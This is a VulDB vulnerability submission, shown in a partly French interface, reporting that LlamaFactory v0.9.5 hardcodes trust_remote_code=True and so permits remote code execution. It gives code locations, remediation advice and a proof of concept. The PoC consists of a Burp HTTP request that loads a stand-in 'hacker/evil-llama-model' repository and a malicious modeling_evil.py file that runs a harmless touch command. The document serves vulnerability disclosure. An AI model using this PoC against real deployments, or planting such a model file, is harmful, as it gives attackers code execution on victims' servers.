Soumettre #1055907: hiyouga LlamaFactory v0.9.5 Hardcoded trust_remote_code=True leads to Remote Code Executioninformation

Titrehiyouga LlamaFactory v0.9.5 Hardcoded trust_remote_code=True leads to Remote Code Execution
DescriptionDescription: The LlamaFactory WebUI hardcodes trust_remote_code=True when loading models. When a user inputs a malicious HuggingFace model repository address and clicks load, the transformers library will execute arbitrary Python code inside modeling_*.py from the remote repo. An attacker can build a malicious model repo to trigger RCE under the server process permissions. The user has no UI option to disable this flag in WebUI. Problematic Code: File: src/llamafactory/webui/runner.py:183 args = dict( ... plot_loss=True, trust_remote_code=True, # ← 硬编码为 True ... ) Also in: runner.py:329 (eval args) chatter.py:139 (chat model) components/export.py:100 (model export) Burp POC: POST /api/predict HTTP/1.1 Host: 127.0.0.1:7860 Content-Type: application/json Content-Length: 380 { "session_hash": "aaaaaa", "fn_index": 2, "data": [ "hacker/evil-llama-model", "AutoModelForCausalLM", "AutoTokenizer", null, true, false ] } Malicious Model Repo PoC: # modeling_evil.py (放在恶意模型仓库根目录) import os import subprocess class EvilLlamaForCausalLM: @classmethod def from_pretrained(cls, *args, **kwargs): # 任意命令执行 subprocess.Popen(["touch", "/tmp/pwned.txt"]) return cls() Attack Flow: The attacker uploads the evil-llama-model to HuggingFace The victim opens the LlamaFactory WebUI They enter hacker/evil-llama-model in the model path input box Click the "Load Model" button The malicious code runs on the victim's server Remediation: Remove the hard-coded trust_remote_code=True in runner.py, chatter.py, and export.py Add an explicit UI checkbox, defaulting to False Show a prominent security warning when trust_remote_code is enabled
La source⚠️ https://github.com/hiyouga/LlamaFactory/security/advisories/GHSA-f45j-26gc-xppv
Utilisateur
 Anonymous User
Soumission25/10/2026 02:17 (il y a 1 mois)
Modérer24/11/2026 09:51 (1 month later)
StatutDupliqué
Entrée VulDB374836 [hiyouga LlamaFactory jusqu’à 0.9.5 Training Interface AutoTokenizer.from_pretrained élévation de privilèges]
Points0

Do you want to use VulDB in your project?

Use the official API to access entries easily!